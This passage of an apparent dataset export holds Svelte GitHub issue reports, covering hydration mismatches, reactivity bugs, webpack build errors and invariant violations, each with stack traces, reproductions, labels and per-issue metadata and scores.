    at readResource (C:\xampp\htdocs\dev\transition65\wp-content\themes\theme-dev\node_modules\webpack\lib\NormalModule.js:1055:14)
    at Object.processResource (C:\xampp\htdocs\dev\transition65\wp-content\themes\theme-dev\node_modules\webpack\lib\NormalModule.js:1077:28)
    at processResource (C:\xampp\htdocs\dev\transition65\wp-content\themes\theme-dev\node_modules\loader-runner\lib\LoaderRunner.js:273:11)
    at iteratePitchingLoaders (C... [TRUNCATED]",,2026-03-24 20:21:49+00:00,2026-03-24 21:11:38+00:00,4,nan,0.0346,error in node async hooks module build failed unhandledschemeerror reading from node async hooks is not handled by plugins unhandled scheme describe the bug i am using svelte in a local development environment for a wordpress site on dev and build commands using webpack and svelte this error appears and the build fails error in node async hooks module build failed unhandledschemeerror reading from node async hooks is not handled by plugins unhandled scheme webpack supports data and file uris by default you may need an additional plugin to handle node uris at c xampp htdocs dev transition wp content themes theme dev node modules webpack lib normalmodule js at hook eval as callasync eval at create c xampp htdocs dev transition wp content themes theme dev node modules tapable lib hookcodefactory js at hook call async delegate as callasync c xampp htdocs dev transition wp content themes theme dev node modules tapable lib hook js at c xampp htdocs dev transition wp content themes theme dev node modules webpack lib normalmodule js at new promise at readresource c xampp htdocs dev transition wp content themes theme dev node modules webpack lib normalmodule js at object processresource c xampp htdocs dev transition wp content themes theme dev node modules webpack lib normalmodule js at processresource c xampp htdocs dev transition wp content themes theme dev node modules loader runner lib loaderrunner js at iteratepitchingloaders c truncated,bug,-0.6705
sveltejs/svelte,4130403914,WARNING in ./node_modules/svelte/src/internal/server/crypto.js 8:43-81 Critical dependency: the request of a dependency is an expression,"### Describe the bug

I am using Svelte in a local development environment for a WordPress site.

On dev and build commands using Webpack 5 and Svelte 5, this warning appears:
```
WARNING in ./node_modules/svelte/src/internal/server/crypto.js 8:43-81
Critical dependency: the request of a dependency is an expression
    at ImportContextDependency.getWarnings (C:\xampp\htdocs\dev\transition65\wp-content\themes\theme-dev\node_modules\webpack\lib\dependencies\ContextDependency.js:121:18)
    at Compilation.reportDependencyErrorsAndWarnings (C:\xampp\htdocs\dev\transition65\wp-content\themes\theme-dev\node_modules\webpack\lib\Compilation.js:3558:24)
    at C:\xampp\htdocs\dev\transition65\wp-content\themes\theme-dev\node_modules\webpack\lib\Compilation.js:3121:28
    at eval (eval at create (C:\xampp\htdocs\dev\transition65\wp-content\themes\theme-dev\node_modules\tapable\lib\HookCodeFactory.js:31:10), <anonymous>:29:1)
    at C:\xampp\htdocs\dev\transition65\wp-content\themes\theme-dev\node_modules\webpack\lib\FlagDependencyExportsPlugin.js:411:10
    at C:\xampp\htdocs\dev\transition65\wp-content\themes\theme-dev\node_modules\neo-async\async.js:2830:7
    at Object.each (C:\xampp\htdocs\dev\transition65\wp-content\themes\theme-dev\node_modules\neo-async\async.js:2850:39)
    at C:\xampp\htdocs\dev\transition65\wp-content\themes\theme-dev\node_modules\webpack\lib\FlagDependencyExportsPlugin.js:381:17
    at C:\xampp\htdocs\dev\transition65\wp-content\themes\theme-dev\node_modules... [TRUNCATED]",,2026-03-24 20:17:04+00:00,2026-03-24 21:11:49+00:00,1,nan,0.038,warning in node modules svelte src internal server crypto js critical dependency the request of a dependency is an expression describe the bug i am using svelte in a local development environment for a wordpress site on dev and build commands using webpack and svelte this warning appears warning in node modules svelte src internal server crypto js critical dependency the request of a dependency is an expression at importcontextdependency getwarnings c xampp htdocs dev transition wp content themes theme dev node modules webpack lib dependencies contextdependency js at compilation reportdependencyerrorsandwarnings c xampp htdocs dev transition wp content themes theme dev node modules webpack lib compilation js at c xampp htdocs dev transition wp content themes theme dev node modules webpack lib compilation js at eval eval at create c xampp htdocs dev transition wp content themes theme dev node modules tapable lib hookcodefactory js at c xampp htdocs dev transition wp content themes theme dev node modules webpack lib flagdependencyexportsplugin js at c xampp htdocs dev transition wp content themes theme dev node modules neo async async js at object each c xampp htdocs dev transition wp content themes theme dev node modules neo async async js at c xampp htdocs dev transition wp content themes theme dev node modules webpack lib flagdependencyexportsplugin js at c xampp htdocs dev transition wp content themes theme dev node modules truncated,feature,0.3182
sveltejs/svelte,4130207310,SvelteMap.clear() skips its reactive signal when the map's size is already 0,"### Describe the bug

SvelteMap.clear() skips its reactive signal when the map's size is already 0. This means any $derived or $effect that depends on the map will not re-run, leaving reactive state stale.

This becomes a silent data bug when combined with a non-$state variable that changes in the same batch - there is no other signal to compensate, so the derived is never invalidated.

Expected: map.clear() always emits a reactive signal, regardless of current size — consistent with how $state assignments emit signals even when the new value equals the old one.

Actual: When map.size === 0, clear() is a no-op in the reactive sense. Any $derived/$effect depending on the map is not re-run.

Svelte version: 5.55.0

Note, it doesn't crash and is easy to work around (make the companion variable $state, or add a dummy set+delete after clear()). However, it violates the principle of least surprise — calling .clear() should always be observable to the reactive graph, just as calling $state's setter with the same value still notifies dependents.

### Reproduction

https://svelte.dev/playground/2cde556a6607400a808dea52f0f3953d?version=5.55.0

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 26.3.1
    CPU: (8) arm64 Apple M3
    Memory: 1.35 GB / 24.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.18.0 - /usr/local/bin/node
    Yarn: 1.22.22 - /opt/homebrew/bin/yarn
    npm: 11.6.2 - /usr/local/bin/npm
    pnpm: 10.32.1 - /opt/homebrew/bin/pnpm
    bun:... [TRUNCATED]",,2026-03-24 19:35:34+00:00,2026-03-24 20:32:35+00:00,7,nan,0.0396,sveltemap clear skips its reactive signal when the map s size is already describe the bug sveltemap clear skips its reactive signal when the map s size is already this means any derived or effect that depends on the map will not re run leaving reactive state stale this becomes a silent data bug when combined with a non state variable that changes in the same batch there is no other signal to compensate so the derived is never invalidated expected map clear always emits a reactive signal regardless of current size consistent with how state assignments emit signals even when the new value equals the old one actual when map size clear is a no op in the reactive sense any derived effect depending on the map is not re run svelte version note it doesn t crash and is easy to work around make the companion variable state or add a dummy set delete after clear however it violates the principle of least surprise calling clear should always be observable to the reactive graph just as calling state s setter with the same value still notifies dependents reproduction logs system info shell system os macos cpu arm apple m memory gb gb shell bin zsh binaries node usr local bin node yarn opt homebrew bin yarn npm usr local bin npm pnpm opt homebrew bin pnpm bun truncated,others,0.3369
sveltejs/svelte,4126629214,It seems that Svelte mount() doesn't work with $bindable() props (demo inside),"### Describe the bug

It seems like Svelte reactivity doesn't work with mount(). When I construct a component with mount(), and use `props` to set a $state() variable, updating the state variable from within the parent component doesn't change the bound property within the child component. I have provided a reproduction below.

Maybe I am also doing something wrong, that could be, but I don't know what. Maybe somebody can help me learn in that case?

### Reproduction

https://svelte.dev/playground/33b7b3a72497418cbe72ad6032f55d84

When the button is clicked, I expect the child component's `test` property to change to `true`.

### Logs

```shell

```

### System Info

```shell
OS: Linux 6.18 Debian GNU/Linux 13 (trixie) 13 (trixie)
    CPU: (16) x64 AMD Ryzen 7 PRO 8840U w/ Radeon 780M Graphics
    Memory: 19.39 GB / 30.01 GB
    Container: Yes
    Shell: 4.0.2 - /usr/bin/fish
```

### Severity

This is a roadblock I have encountered within a Svelte project, I can workaround but it's really not pretty. I would love to learn how to solve this.",,2026-03-24 09:59:32+00:00,2026-03-24 10:19:33+00:00,2,nan,0.0139,it seems that svelte mount doesn t work with bindable props demo inside describe the bug it seems like svelte reactivity doesn t work with mount when i construct a component with mount and use to set a state variable updating the state variable from within the parent component doesn t change the bound property within the child component i have provided a reproduction below maybe i am also doing something wrong that could be but i don t know what maybe somebody can help me learn in that case reproduction when the button is clicked i expect the child component s property to change to logs system info severity this is a roadblock i have encountered within a svelte project i can workaround but it s really not pretty i would love to learn how to solve this,others,-0.7151
sveltejs/svelte,4123414895,`{@html await ...}` fails to hydrate,"### Describe the bug

Hi!

This code `<div>{@html await ""<hr />""}</div>` will produce the following error logs:

```
[svelte] hydration_mismatch
Hydration failed because the initial UI does not match what was rendered on the server
https://svelte.dev/e/hydration_mismatch

[svelte] hydration_html_changed
The value of an `{@html ...}` block near src/​routes/​+page.svelte:1:0 changed between server and client renders. The client value will be ignored in favour of the server value
https://svelte.dev/e/hydration_html_changed
```

Probably related to #17981 but no exception in this case

### Reproduction

Reproduced here: https://www.sveltelab.dev/z2v4jxay455g357

### Logs

```shell

```

### System Info

```shell
Svelte 5.55.0
```

### Severity

annoyance",,2026-03-23 20:08:48+00:00,2026-03-24 15:46:38+00:00,2,nan,0.8179,fails to hydrate describe the bug hi this code will produce the following error logs probably related to but no exception in this case reproduction reproduced here logs system info severity annoyance,others,-0.8641
sveltejs/svelte,4121958222,`{@const}` inside `{#each}` goes stale when prop-derived value is only consumed inside an array callback,"### Describe the bug

A `{@const}` inside `{#each}` does not invalidate when its reactive dependency
arrives via a **prop** and that dependency is only referenced inside an array
callback (`.find()`, `.filter()`, `.some()`, etc.) rather than in the outer
expression.

From the template's perspective the prop changed, a sibling `{@const}` that
reads the prop directly updates correctly, but the `{@const}` whose expression
only touches the prop inside a callback closure stays frozen at its previous
value.

## Required conditions

Both must be present:

1. The reactive dependency is a **prop** — does not reproduce when the same
   value is a local variable or a store.
2. That prop value appears **only inside the callback** of the array method —
   removing it from inside and placing it in the outer expression fixes the
   staleness.

No transition, no `{#if}` toggle, no async wrapper needed.


### Reproduction

Link to REPL
https://svelte.dev/playground/9e909f44f22a406a80a639c6ecd69496?version=latest

The playground shows both the buggy and the fixed pattern side by side, driven
by the same prop. Click any button — `selectedItemId` updates correctly in both
sections, but only the **Fixed** section reflects the change in the derived
`selectedItem`.

## Expected behavior

Clicking any button updates `selectedItemId`. Both sections should then resolve
`selectedItem` and show the correct seat count.

## Actual behavior

`selectedItemId` updates in both sections. The **Bug** section ne... [TRUNCATED]",,2026-03-23 16:00:56+00:00,2026-04-01 08:36:28+00:00,1,nan,8.6913,inside goes stale when prop derived value is only consumed inside an array callback describe the bug a inside does not invalidate when its reactive dependency arrives via a prop and that dependency is only referenced inside an array callback etc rather than in the outer expression from the template s perspective the prop changed a sibling that reads the prop directly updates correctly but the whose expression only touches the prop inside a callback closure stays frozen at its previous value required conditions both must be present the reactive dependency is a prop does not reproduce when the same value is a local variable or a store that prop value appears only inside the callback of the array method removing it from inside and placing it in the outer expression fixes the staleness no transition no toggle no async wrapper needed reproduction link to repl the playground shows both the buggy and the fixed pattern side by side driven by the same prop click any button updates correctly in both sections but only the fixed section reflects the change in the derived clicking any button updates both sections should then resolve and show the correct seat count updates in both sections the bug section ne truncated,others,-0.0387
sveltejs/svelte,4118988706,Svelte error: component_api_changed Calling `$destroy()` on a component instance,"### Describe the bug

Uncaught (in promise) Svelte error: component_api_changed
Calling `$destroy()` on a component instance (of src/lib/ui/Player.svelte) is no longer valid in Svelte 5
https://svelte.dev/e/component_api_changed
    at component_api_changed (errors.js:85:17)
    at error (legacy.js:17:5)
    at Object.$destroy (legacy.js:21:19)
    at Svelte4Component.$destroy (legacy-client.js:179:18)
    at custom-element.js:206:15


<img width=""1700"" height=""1072"" alt=""Image"" src=""https://github.com/user-attachments/assets/aaf3ed19-04a8-479f-8638-289c81b171bf"" />

<img width=""1540"" height=""500"" alt=""Image"" src=""https://github.com/user-attachments/assets/b3054ca3-eb9e-4ba7-a7b4-058bfe1b60ab"" />

### Reproduction

```svelte
<svelte:options
  runes={true}
  customElement={{
    tag: 's-player',
    props: {
      config: {type: 'Object'}
    }
  }}
/>
```



### Logs

```shell

```

### System Info

```shell
svelte@5.54.1
```

### Severity

annoyance",,2026-03-23 07:59:37+00:00,2026-03-31 16:47:55+00:00,1,nan,8.3669,svelte error component api changed calling on a component instance describe the bug uncaught in promise svelte error component api changed calling on a component instance of src lib ui player svelte is no longer valid in svelte at component api changed errors js at error legacy js at object destroy legacy js at svelte component destroy legacy client js at custom element js reproduction logs system info severity annoyance,bug,-0.9705
sveltejs/svelte,4113374919,goto navigation still shows old page when new page has new layout since 5.53.13,"### Describe the bug

I updated my svelte project to 5.54.1 and encounterend an bug where, when I navigate by using `goto`, my old page is still shown above the page I navigated to. When I reload the page, it only shows the page I navigated to as expected.

I was able to pin down the behavior change to version ` 5.53.13` . With ` 5.53.12` it still works as expected.
While creating the reproductive example I learned that the bug only appears if the new page I navigate to has a new layout.

One possible workaround is to wrap the ` @render children`  in the root layout with ` {#key page.url.pathname}` 

### Reproduction

I used the svelte cli tool to create a new repo, updated the svelte version to the latest available and created a page structure with a root layout, a simple page navigating to an other page which has a new layout definition. You can find this reproduction repo here: https://github.com/Nicklas2751/svelte-goto-navigation-bug

The original repo where I first encountered this bug is open source too, you can find it here: https://github.com/Nicklas2751/LibreHousehold

### Logs

```shell
Browser log:
` ` ` 
[vite] connecting...
client:827 [vite] connected.
+page.svelte:6 Checking stuff..
` ` ` 

Svelte dev log:
` ` ` 
    ~/git/svelte-goto-navigation-bug    main  npm run dev                                                                                                                                                                                             ... [TRUNCATED]",,2026-03-21 18:49:09+00:00,2026-03-23 00:46:38+00:00,3,nan,1.2483,goto navigation still shows old page when new page has new layout since describe the bug i updated my svelte project to and encounterend an bug where when i navigate by using my old page is still shown above the page i navigated to when i reload the page it only shows the page i navigated to as expected i was able to pin down the behavior change to version with it still works as expected while creating the reproductive example i learned that the bug only appears if the new page i navigate to has a new layout one possible workaround is to wrap the in the root layout with reproduction i used the svelte cli tool to create a new repo updated the svelte version to the latest available and created a page structure with a root layout a simple page navigating to an other page which has a new layout definition you can find this reproduction repo here the original repo where i first encountered this bug is open source too you can find it here logs shell browser log vite connecting client vite connected page svelte checking stuff svelte dev log git svelte goto navigation bug main npm run dev truncated,feature,-0.8126
sveltejs/svelte,4112783715,Failed to hydrate:  TypeError: Cannot read properties of null (reading 'nodeType'),"### Describe the bug

Hi!

I'm not sure if this issue is the same as #17894, I left a comment there but I don't think it's the same thing so I decided to create this issue to give a better description of my problem.

Here is an overview on how to reproduce what what errors I get:
I have these 2 simple remote functions
```js
import { query } from ""$app/server"";

export const firstTest = query(async () => {
  return ""123"";
});

export const otherTest = query(async () => {
  return ""1"";
});
```
If I use them like this
```svelte
<script>
  import { otherTest, firstTest } from ""$lib/foo.remote"";
</script>

<div>
  <div>{@html await firstTest()}</div>

  {await otherTest()}
</div>
```
I get this error
```
Failed to hydrate:  TypeError: Cannot read properties of null (reading 'nodeType')

	in <unknown>
	in +layout.svelte
	in root.svelte
	in undefined
```
If instead I change the markup to this (removing the outer div):
```svelte
<div>{@html await firstTest()}</div>

{await otherTest()}
```
I get these errors:
```
[svelte] hydration_mismatchHydration failed because the initial UI does not match what was rendered on the serverhttps://svelte.dev/e/hydration_mismatch

[svelte] hydration_html_changedThe value of an `{@html ...}` block near src/​routes/​+page.svelte:5:0 changed between server and client renders. The client value will be ignored in favour of the server valuehttps://svelte.dev/e/hydration_html_changed
```
and If I remove all divs:
```svelte
{@html await firstTest()}

{await ... [TRUNCATED]",,2026-03-21 15:00:31+00:00,2026-03-25 08:27:48+00:00,1,nan,3.7273,failed to hydrate typeerror cannot read properties of null reading nodetype describe the bug hi i m not sure if this issue is the same as i left a comment there but i don t think it s the same thing so i decided to create this issue to give a better description of my problem here is an overview on how to reproduce what what errors i get i have these simple remote functions if i use them like this i get this error if instead i change the markup to this removing the outer div i get these errors and if i remove all divs svelte html await firsttest await truncated,bug,-0.7773
sveltejs/svelte,4110077664,Components do not update when state updates,"### Describe the bug

I'm trying to make `i18next` reactive and cause string update throughout my app but I just CAN'T get that fucking thing to work. What am I doing wrong?

So` i18next` has `init` method which is only run once and returns `t` method that returns a requested string. And then the language can be changed with `changeLanguage` on the `i18next` class.

_Why not use paraglide?_
No I'm not installing paraglide it's buggy as hell.

### Reproduction

Now, assume these shenanigans are happening in `index.svelte.ts`.  My code is something like:
```ts
const getKey = await i18next
    .init({
...
    });
export let getKeyState = $state({
    t: getKey
});

export const setLocale = async (locale) => {
    await i18next.changeLanguage(locale);
// trying to force an update
    getKeyState.t = getKey;
}
```

In a component I could have something like:
```svelte
<script>
import { getKeyState } from '$lib/i18n/index.svelte';
let t = getKeyState.t;
</script>

<h3>{t(""header"")}</h3>
```

When I change the language via `setLocale`, my component doesn't update despite being defined as `$state(...)`. Why is that and how to make it update?

Using `$derived` doesn't do anything either.

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.17 Ubuntu 25.10 25.10 (Questing Quokka)
    CPU: (16) x64 AMD Ryzen 7 5800X 8-Core Processor
    Memory: 7.78 GB / 31.27 GB
    Container: Yes
    Shell: 5.2.37 - /bin/bash
  Binaries:
    Node: 24.7.0 - /home/aliser/.nvm/vers... [TRUNCATED]",,2026-03-20 20:57:45+00:00,2026-03-20 21:12:35+00:00,0,nan,0.0103,components do not update when state updates describe the bug i m trying to make reactive and cause string update throughout my app but i just can t get that fucking thing to work what am i doing wrong so has method which is only run once and returns method that returns a requested string and then the language can be changed with on the class why not use paraglide no i m not installing paraglide it s buggy as hell reproduction now assume these shenanigans are happening in my code is something like in a component i could have something like when i change the language via my component doesn t update despite being defined as why is that and how to make it update using doesn t do anything either logs system info shell system os linux ubuntu questing quokka cpu x amd ryzen x core processor memory gb gb container yes shell bin bash binaries node home aliser nvm vers truncated,others,-0.2887
sveltejs/svelte,4106017910,Hydration mismatch when styling child components,"### Describe the bug

Hello.

After an upgrade from svelte@5.53.0 to 5.54.0, sveltekit logs hydration mismathc warnings when styling child components with CSS custom properties

`<Child --color=""rebeccapurple"" />`

### Reproduction

[REPL](https://svelte.dev/playground/hello-world?version=5.54.0#H4sIAAAAAAAAA3VQzU7DMAx-lcgnkLZVu4YyCe2ydyAcstSlkdIkSrxBVfXdcUKFNgSn2J_t7yczeD0iSDhNXdJkgxejzaMmMwiuzWBdJ0wYY_DoSWSanPXvsIHeOswgX2egKRaCAjC-0r3EuMtXdFSws874F26CJ2ZlGmizSTbSQXlFltUSiWPV7lMYhYJdU9v1VoHybfNz0n6vbrcmuJCeFSQ8ozE6XlJ0vCwaXmI9wk8CSemCy-Yf37cq985_TW69D_vDCZ0LbcMVJ_Bt-SesYYa9mMurqJqT4qrTw-r08alMlpqlHtx7fONOW_dhfQey1y7j8gUHSckLrwEAAA) (needs to be set up locally, REPL does not log the warning)

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.11 Ubuntu 24.10 24.10 (Oracular Oriole)
    CPU: (12) x64 AMD Ryzen 5 3600 6-Core Processor
    Memory: 6.48 GB / 15.06 GB
    Container: Yes
    Shell: 3.7.1 - /usr/bin/fish
  Binaries:
    Node: 22.14.0 - /usr/bin/node
    npm: 11.7.0 - /usr/bin/npm
    pnpm: 10.27.0 - /home/guillaume/.local/share/pnpm/pnpm
    bun: 1.3.11 - /home/guillaume/.bun/bin/bun
  Browsers:
    Chromium: 145.0.7632.116
    Firefox: 148.0
    Firefox Developer Edition: 148.0
```

### Severity

blocking an upgrade",,2026-03-20 06:09:16+00:00,2026-03-20 21:23:59+00:00,2,nan,0.6352,hydration mismatch when styling child components describe the bug hello after an upgrade from svelte to sveltekit logs hydration mismathc warnings when styling child components with css custom properties reproduction repl needs to be set up locally repl does not log the warning logs system info severity blocking an upgrade,others,-0.6969
sveltejs/svelte,4101452417,`a11y_click_events_have_key_events` warning won't be displayed if the onclick handler is provided using spread syntax.,"### Describe the bug

a11y_click_events_have_key_events won't be fired if the onclick handler is provided using spread syntax. 

### Reproduction

```svelte
<div class=""max-w-sm w-full lg:max-w-full lg:flex"" onclick={() => alert('cliked')}>
  <div class=""border-r border-b border-l border-gray-400 lg:border-l-0 lg:border-t lg:border-gray-400 bg-white rounded-b lg:rounded-b-none lg:rounded-r p-4 flex flex-col justify-between leading-normal"">
    <div class=""mb-8"">
      <div class=""text-gray-900 font-bold text-xl mb-2"">Clicke Me</div>
    </div>
  </div>
</div>

<br />

<div class=""max-w-sm w-full lg:max-w-full lg:flex"" {...{onclick: () => alert('cliked')}}>
  <div class=""border-r border-b border-l border-gray-400 lg:border-l-0 lg:border-t lg:border-gray-400 bg-white rounded-b lg:rounded-b-none lg:rounded-r p-4 flex flex-col justify-between leading-normal"">
    <div class=""mb-8"">
      <div class=""text-gray-900 font-bold text-xl mb-2"">Clicke Me</div>
    </div>
  </div>
</div>
```
[playground link](https://svelte.dev/playground/hello-world?version=5.54.0#H4sIAAAAAAAACu2RwW7CMAyGX8XyBZCagiYOWwVI0y677AnWHZLGZRlugpJAQRXvPrXQiiFOk3bbJfn823Hi_A1aWRFm-ErMDmrnWcOYtImkJ5hgaZgCZu8NxuO2rWsFTPpTz9ttGvbEsdWUDHRPL5yNZGPADBfa7KFgGcIyx0oeRC1CBbUod8zA6-ws9VHJdMgRnC3YFJtlM57AcgWSycfxqGCzIT2anFa5BfjRWDmvyQsPF1A9cA9rL49iPpu1t_Q5cR3FKx6K1VrUnyYSeLezmrRQbdUQCOssXSsetmIO7RTdIgrH8LUL0ZRHoSjWRBaYpDZ2LazzleQcu2lu5qmUeBwyN7lIh3h-4dNsBqWzUSjHGjr9wFAp8ZDj6qX9QYI3Wky12feXDNxTv-d2oTxMz_Qbz5o0TZuLcRncN-7fuT9... [TRUNCATED]",,2026-03-19 12:46:29+00:00,2026-03-19 13:24:20+00:00,1,nan,0.0263,warning won t be displayed if the onclick handler is provided using spread syntax describe the bug a y click events have key events won t be fired if the onclick handler is provided using spread syntax reproduction playground link truncated,others,-0.1531
sveltejs/svelte,4096177693,"Uncaught Svelte error: invariant_violation ""Batch has scheduled roots""","### Describe the bug

received this error when navigating between routes in sveltekit, i have both async and remote functions enabled and used on both pages.

it appears to be in a loop as i hade several hundred of these errors and they kept printing until i i stopped them.

### Reproduction

limited here, its a closed source project thats about 150k loc and the error happened navigating between 2 of the more complex pages. 

### Logs

```shell
chunk-KZ3AKWPY.js?v=ce61594d:184 Uncaught Svelte error: invariant_violation
An invariant violation occurred, meaning Svelte's internal assumptions were flawed. This is a bug in Svelte, not your app — please open an issue at https://github.com/sveltejs/svelte, citing the following message: ""Batch has scheduled roots""
https://svelte.dev/e/invariant_violation
    at invariant_violation (chunk-KZ3AKWPY.js?v=ce61594d:184:19)
    at invariant (chunk-KZ3AKWPY.js?v=ce61594d:1105:19)
    at _Batch.commit_fn (chunk-KZ3AKWPY.js?v=ce61594d:2935:9)
    at _Batch.process_fn (chunk-KZ3AKWPY.js?v=ce61594d:2860:56)
    at _Batch.flush (chunk-KZ3AKWPY.js?v=ce61594d:2631:59)
    at Array.<anonymous> (chunk-KZ3AKWPY.js?v=ce61594d:2714:19)
    at run_all (chunk-KZ3AKWPY.js?v=ce61594d:50:11)
    at run_micro_tasks (chunk-KZ3AKWPY.js?v=ce61594d:726:3)
    at chunk-KZ3AKWPY.js?v=ce61594d:732:34
```

### System Info

```shell
System:
    OS: Linux 6.6 Ubuntu 22.04.5 LTS 22.04.5 LTS (Jammy Jellyfish)
    CPU: (32) x64 13th Gen Intel(R) Core(TM) i9-13900
    Mem... [TRUNCATED]",,2026-03-18 16:04:59+00:00,2026-03-18 16:08:34+00:00,1,nan,0.0025,uncaught svelte error invariant violation batch has scheduled roots describe the bug received this error when navigating between routes in sveltekit i have both async and remote functions enabled and used on both pages it appears to be in a loop as i hade several hundred of these errors and they kept printing until i i stopped them reproduction limited here its a closed source project thats about k loc and the error happened navigating between of the more complex pages logs system info shell system os linux ubuntu lts lts jammy jellyfish cpu x th gen intel r core tm i mem truncated,bug,-0.9349
sveltejs/svelte,4093483197,untrack does not work when using `{@attach}`,"### Describe the bug

If I have an html component and want to run some `{@attach}` script that does something different when it is mounted vs on update, then I am a bit out of luck.

```
<script>
    import { untrack } from ""svelte""
    let count = $state(0);
</script>

<button onclick={() => count += 1}>
    clicks: {count}
</button>

<div
    {@attach div => {
        let firstRun = $state(true);
        $effect(() => {
            if (firstRun) {
                console.log(""first"")
                untrack(() => firstRun = false);
                return;
            }
            console.log(""not first"")
            div.innerText = count * 2;
        })
    }}>
    
</div>
```

sure I can run some code before the `$effect` call that will only run on mount, but the issue is that the `$effect` is also run on mount, and there is no way around that.

Best solution would be to not have to bother with wrapping `firstRun` in a state, but that breaks the `$effect` function completely as it never gets out of the if statement (doesn't seem to recognize the change).
But if I have to wrap `firstRun` in a state, then updating it with `untrack` shouldn't cause the `$effect` to rerun

### Reproduction

https://svelte.dev/playground/c559dbba749047fd843327f7605f1457?version=5.54.0

### Logs

```shell

```

### System Info

```shell
on the svelte repl, version 5.54.0 and in brave
```

### Severity

annoyance",,2026-03-18 08:12:20+00:00,2026-03-18 08:40:42+00:00,1,nan,0.0197,untrack does not work when using describe the bug if i have an html component and want to run some script that does something different when it is mounted vs on update then i am a bit out of luck sure i can run some code before the call that will only run on mount but the issue is that the is also run on mount and there is no way around that best solution would be to not have to bother with wrapping in a state but that breaks the function completely as it never gets out of the if statement doesn t seem to recognize the change but if i have to wrap in a state then updating it with shouldn t cause the to rerun reproduction logs system info severity annoyance,others,0.8102
sveltejs/svelte,4093474860,css.js  throw  Cannot read properties of null (reading 'querySelector'),"### Describe the bug

`my component <Button> as below:
<button>.... 
</button>

<style>

.el-button--primary.is-text {
    color: var(--el-button-text-color);
}

</style>
In some cases   throw  Cannot read properties of null (reading 'querySelector')

src\internal\client\dom\css.js
export function append_styles(anchor, css) {
line 21:  if (!target.querySelector('#' + css.hash)) {
         //add target&&
         if (target&&!target.querySelector('#' + css.hash)) {`

### Reproduction

Uncaught TypeError: Cannot read properties of null (reading 'querySelector')

	in <unknown>
	in Button.svelte
	in Popper.svelte
	in App.svelte
	in Router.svelte
	in Col.svelte
	in Row.svelte
	in App.svelte
	in undefined

### Logs

```shell

```

### System Info

```shell
svelte, webpack --binaries
```

### Severity

annoyance","awaiting submitter,css",2026-03-18 08:10:34+00:00,2026-05-02 01:13:17+00:00,1,"awaiting submitter,css",44.7102,css js throw cannot read properties of null reading queryselector describe the bug my component as below el button primary is text color var el button text color in some cases throw cannot read properties of null reading queryselector src internal client dom css js export function append styles anchor css line if target queryselector css hash add target if target target queryselector css hash reproduction uncaught typeerror cannot read properties of null reading queryselector in in button svelte in popper svelte in app svelte in router svelte in col svelte in row svelte in app svelte in undefined logs system info severity annoyance,others,-0.6486
sveltejs/svelte,4092920897,docs: make `createContext` the recommended method,"### Describe the problem

Best practices now advises `createContext`:

> Use `createContext` rather than `setContext` and `getContext`, as it provides type safety.
>
> https://svelte.dev/docs/svelte/best-practices#Context

But it is still described 'an alternative' in the context docs:

> As an alternative to using `setContext` and `getContext` directly, you can use them via `createContext`.
>
> https://svelte.dev/docs/svelte/context#Type-safe-context

### Describe the proposed solution

Use `createContext` in the top-placed default example

### Importance

nice to have",documentation,2026-03-18 05:52:31+00:00,2026-03-23 13:52:09+00:00,1,documentation,5.3331,docs make the recommended method describe the problem best practices now advises use rather than and as it provides type safety but it is still described an alternative in the context docs as an alternative to using and directly you can use them via describe the proposed solution use in the top placed default example importance nice to have,documentation,0.9343
sveltejs/svelte,4087887152,`$inspect` reads value as undefined during navigation,"### Describe the bug

When using `$inspect()` over a `$derived()` (that depends on data from `$props()`), the `$inspect()` will trigger after the navigation away has been initialized, and the data inside `$props()` is now _all_ undefined. As a result, the `$inspect()` throws.

I am a little unsure if this is a Svelte or SvelteKit bug, but I assume the same would be true when using another framework, therefore submitting as a Svelte bug.

### Reproduction

https://www.sveltelab.dev/?provider=github&owner=Tinggaard&repo=inspect-undefined-during-navigation

Essentially, having a `+page.svelte` file that recieves some data, and passes it down to a child.

```svelte
<script lang=""ts"">
  import { resolve } from ""$app/paths"";
  import Component from ""$lib/Component.svelte"";

  let { data } = $props();
  let { ids } = $derived(data);
</script>

<Component {ids} />

<a href={resolve(""/[id]"", { id: `foobar` })}> Navigate! </a>
```

And then the component 
```svelte
<script lang=""ts"">
  type NumArr = [number, ...number[]];

  let { ids }: { ids: NumArr } = $props();

  // BUG: this line throws during navigation
  const getFirstId = (arr: NumArr) => arr[0];

  // this line is ok
  const firstId = $derived(getFirstId(ids));
  // but this line triggers the above after `ids` is undefined (somehow)
  $inspect(firstId);
</script>
```

### Logs

```shell
TypeError: can't access property 0, arr is undefined
```

### System Info

```shell
System:
    OS: Linux 6.19 Fedora Linux 43 (Workstation E... [TRUNCATED]",,2026-03-17 11:18:00+00:00,2026-03-19 11:04:15+00:00,2,nan,1.9905,reads value as undefined during navigation describe the bug when using over a that depends on data from the will trigger after the navigation away has been initialized and the data inside is now all undefined as a result the throws i am a little unsure if this is a svelte or sveltekit bug but i assume the same would be true when using another framework therefore submitting as a svelte bug reproduction essentially having a file that recieves some data and passes it down to a child and then the component logs system info shell system os linux fedora linux workstation e truncated,others,-0.4503
sveltejs/svelte,4087525659,svelte:boundary only renders pending snippet initially,"### Describe the bug

If a component inside a boundary is re-rendered (using a key or each), the pending block is not shown.
I would expect the pending snippet to show whenever a component inside a boundary is awaiting

```
<svelte:boundary>
	{#snippet pending()}
	pending
	{/snippet}
	
	{#key key}
	<AsyncComponent {key}/>
	{/key}
</svelte:boundary>
```

### Reproduction

https://svelte.dev/playground/98c502cb62134719846b10d68be7134e?version=latest

### Logs

```shell

```

### System Info

```shell
Svelte 5.53.12
```

### Severity

annoyance",,2026-03-17 10:12:41+00:00,2026-03-17 12:41:41+00:00,2,nan,0.1035,svelte boundary only renders pending snippet initially describe the bug if a component inside a boundary is re rendered using a key or each the pending block is not shown i would expect the pending snippet to show whenever a component inside a boundary is awaiting reproduction logs system info severity annoyance,others,-0.802
sveltejs/svelte,4083402153,Svelte error: `invariant_violation` - Batch has scheduled roots,"### Describe the bug

```
5:03:15 PM [vite] (client) [Unhandled error] Svelte error: invariant_violation
An invariant violation occurred, meaning Svelte's internal assumptions were flawed. This is a bug in Svelte, not your app — please open an issue at https://github.com/sveltejs/svelte, citing the following message: ""Batch has scheduled roots""
https://svelte.dev/e/invariant_violation
